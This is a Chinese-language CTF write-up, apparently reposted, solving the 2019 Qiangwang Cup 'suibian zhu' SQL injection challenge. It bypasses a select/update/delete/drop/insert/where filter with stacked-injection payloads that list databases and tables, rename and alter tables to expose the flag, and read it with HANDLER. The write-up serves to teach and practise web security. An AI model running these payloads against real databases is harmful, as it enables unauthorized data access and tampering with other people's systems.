過濾select|update|delete|drop|insert|where的注入 [ 強網杯 2019]隨便注

轉載於 攻防世界WP https://adworld.xctf.org.cn/task/writeup?type=web&id=5417&number=3&grade=1&page=1

題目鏈接https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5417&page=1

  • 侵權請聯繫刪除

先添加一個單引號,報錯,錯誤信息如下:

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

接着測試–+註釋,發現被過濾,然後使用#註釋,可行 用order by語句判斷出有兩個字段,接着使用union select 爆字段,發現這個時候出現瞭如下提示:

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

發現上面的關鍵字都被過濾不能使用了,沒法進行注入,這個時候嘗試一下堆疊注入

現在回到這道題,利用堆疊注入,查詢所有數據庫:

1';show databases;#

在這裏插入圖片描述

查詢所有表:

1';show tables;#

在這裏插入圖片描述
查詢words表中所有列:

1';show columns from words;#

在這裏插入圖片描述
查詢1919810931114514表中所有列

1';show columns from `1919810931114514`;#      (字符串爲表名操作時要加反引號)

根據兩個表的情況結合實際查詢出結果的情況判斷出words是默認查詢的表,因爲查詢出的結果是一個數字加一個字符串,words表結構是id和data,傳入的inject參數也就是賦值給了id

這道題沒有禁用rename和alert,所以我們可以採用修改表結構的方法來得到flag 將words表名改爲words1,再將數字名錶改爲words,這樣數字名錶就是默認查詢的表了,但是它少了一個id列,可以將flag字段改爲id,或者添加id字段

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

這段代碼的意思是將words表名改爲words1,1919810931114514表名改爲words,將現在的words表中的flag列名改爲id 然後用1’ or 1=1 #得到flag
在這裏插入圖片描述


1';handler `1919810931114514` open;handler `1919810931114514` read first;#

在這裏插入圖片描述
mysql查詢語句-handler

https://blog.csdn.net/JesseYoung/article/details/40785137?depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-1&utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-1

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章